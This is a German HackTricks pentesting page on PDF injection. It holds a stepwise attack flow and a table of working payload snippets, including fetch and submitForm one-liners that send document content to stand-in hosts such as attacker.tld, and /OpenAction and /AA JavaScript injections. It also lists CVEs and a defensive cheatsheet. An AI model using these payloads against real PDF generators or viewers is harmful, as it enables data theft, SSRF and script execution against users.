PDF Injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Wenn deine Eingabe in einer PDF-Datei reflektiert wird, kannst du versuchen, PDF-Daten zu injizieren, um JavaScript auszuführen, SSRF zu verursachen oder den PDF-Inhalt zu stehlen. Die PDF-Syntax ist extrem permissiv – wenn du aus dem String oder Dictionary ausbrechen kannst, das deine Eingabe einbettet, kannst du völlig neue Objekte anhängen (oder neue Keys im selben Objekt), die Acrobat/Chrome problemlos parsen. Seit 2024 haben zahlreiche bug-bounty-Berichte gezeigt, dass eine einzige nicht maskierte Klammer oder ein Backslash für vollständige Skriptausführung ausreicht.

TL;DR – Moderner Angriffsablauf (2024-2026)

  1. Finde einen vom Nutzer kontrollierten Wert, der im generierten PDF innerhalb eines (parenthesis string), /URI ( … ) oder /JS ( … ) Feldes landet.
  2. Injiziere ) (schließt den String), gefolgt von einem der untenstehenden Primitiven und beende mit einer weiteren öffnenden Klammer, um die Syntax gültig zu halten.
  3. Liefere das bösartige PDF an ein Opfer (oder an einen Backend-Service, der die Datei automatisch rendert – ideal für blind bugs).
  4. Dein Payload läuft im PDF-Viewer:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (kann beliebige Dateiinhalte exfiltrieren mit this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Die erste ) schließt die ursprüngliche URI-Zeichenkette, dann fügen wir ein neues Action-Dictionary hinzu, das Acrobat ausführt, wenn der Nutzer auf den Link klickt.

Nützliche Injection-Primitives

ZielPayload-SnippetHinweise
JavaScript beim Öffnen/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Wird sofort ausgeführt, wenn das Dokument geöffnet wird (funktioniert in Acrobat, nicht in Chrome).
JavaScript beim Link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Funktioniert in PDFium & Acrobat, wenn du eine /Link Annotation kontrollierst.
Blinde Datenexfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Mit this.getPageNthWord im JS kombinieren, um Inhalte zu stehlen.
Server-seitiges SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.Wie oben, aber zielt auf eine interne URL ab – nützlich, wenn das PDF von Back-Office-Services gerendert wird, die /URI unterstützen.
Zusätzliche Aktionen (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>An ein Page/Annotation/Form-Dictionary anhängen, um beim Öffnen/Fokus ausgeführt zu werden.
Zeilenumbruch für neue Objekte\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjWenn die Bibliothek das Injizieren von Zeilenumbruchzeichen erlaubt, kannst du völlig neue Objekte erstellen.

Eingebettete Aktionen als Injection-Ziele

PDF-Viewer behandeln embedded actions wie /OpenAction und /AA (Additional Actions) als erstklassige Features, die beim Öffnen eines Dokuments oder beim Auslösen eines bestimmten Events ausgeführt werden können. Wenn du in ein Dictionary injizieren kannst, das Actions akzeptiert (Catalog, Page, Annotation, or Form field), kannst du einen /AA-Baum einpflanzen und JavaScript beim Öffnen/Fokus auslösen.

Example payload for generator-side object injection (close the original string/dictionary and inject /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

Dieses Muster entspricht jüngsten jsPDF-Problemen, bei denen von einem Angreifer kontrollierte Eingaben, die an addJS (oder bestimmte AcroForm-Felder) übergeben werden, aus der vorgesehenen JavaScript-Zeichenfolge ausbrechen und ein Additional Action dictionary injizieren.

Blind Enumeration Trick

Gareth Heyes (PortSwigger) veröffentlichte einen Einzeiler, der jedes Objekt in einem unbekannten Dokument aufzählt – praktisch, wenn man das erzeugte PDF nicht sehen kann:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Der Code iteriert über das Acrobat-DOM und macht für jedes Property/Value-Paar ausgehende Requests, wodurch du einen JSON-ish Dump der Datei erhältst. Siehe das Whitepaper “Portable Data exFiltration” für die vollständige Technik.

Reale Bugs (2023-2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: von Angreifern kontrollierte Strings können das JS-Literal schließen und /AA/O/JavaScript Aktionen injizieren, die beim Öffnen/Fokus ausgelöst werden.
  • CVE-2024-4367 – Beliebige JavaScript-Ausführung in Firefox’s PDF.js vor 4.2.67 umging die Sandbox mit einer manipulierten /JavaScript-Aktion.
  • Bug bounty 2024-05 – Ein großer Fintech erlaubte kundengelieferte Rechnungsnotizen, die in /URI landeten; der Report wurde mit $10k bezahlt, nachdem SSRF zu einem internen Metadata-Host mittels file:/// URI demonstriert wurde.
  • CVE-2023-26155node-qpdf command-injection via unsanitised PDF path zeigt die Wichtigkeit, Backslashes und Klammern zu escapen, sogar vor der PDF-Schicht.

Defensive Cheatsheet

  1. Konkateniere niemals rohe Benutzereingaben innerhalb von () Strings oder Namen. Escape \, (, ) wie in §7.3 der PDF-Spezifikation erforderlich oder verwende Hex-Strings <...>.
  2. Wenn du Links erstellst, bevorzuge /URI (https://…), die du vollständig URL-kodierst; blockiere javascript:-Schemata in Client-Viewern.
  3. Entferne oder validiere /OpenAction, /AA (additional actions), /Launch, /SubmitForm und /ImportData Dictionaries beim Nachverarbeiten von PDFs.
  4. Serverseitig rendere nicht vertrauenswürdige PDFs mit einem headless converter (z. B. qpdf –decrypt –linearize), der JavaScript und externe Aktionen entfernt.
  5. Halte PDF-Viewer aktuell; PDF.js < 4.2.67 und Acrobat Reader vor den Patches von Juli 2024 erlauben triviale Code-Ausführung.
  6. Wenn du clientseitige Generatoren (z. B. jsPDF) verwendest, gib niemals nicht vertrauenswürdige Eingaben an addJS oder AcroForm-Setter weiter, die innerhalb von PDF-Action-Dictionaries landen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks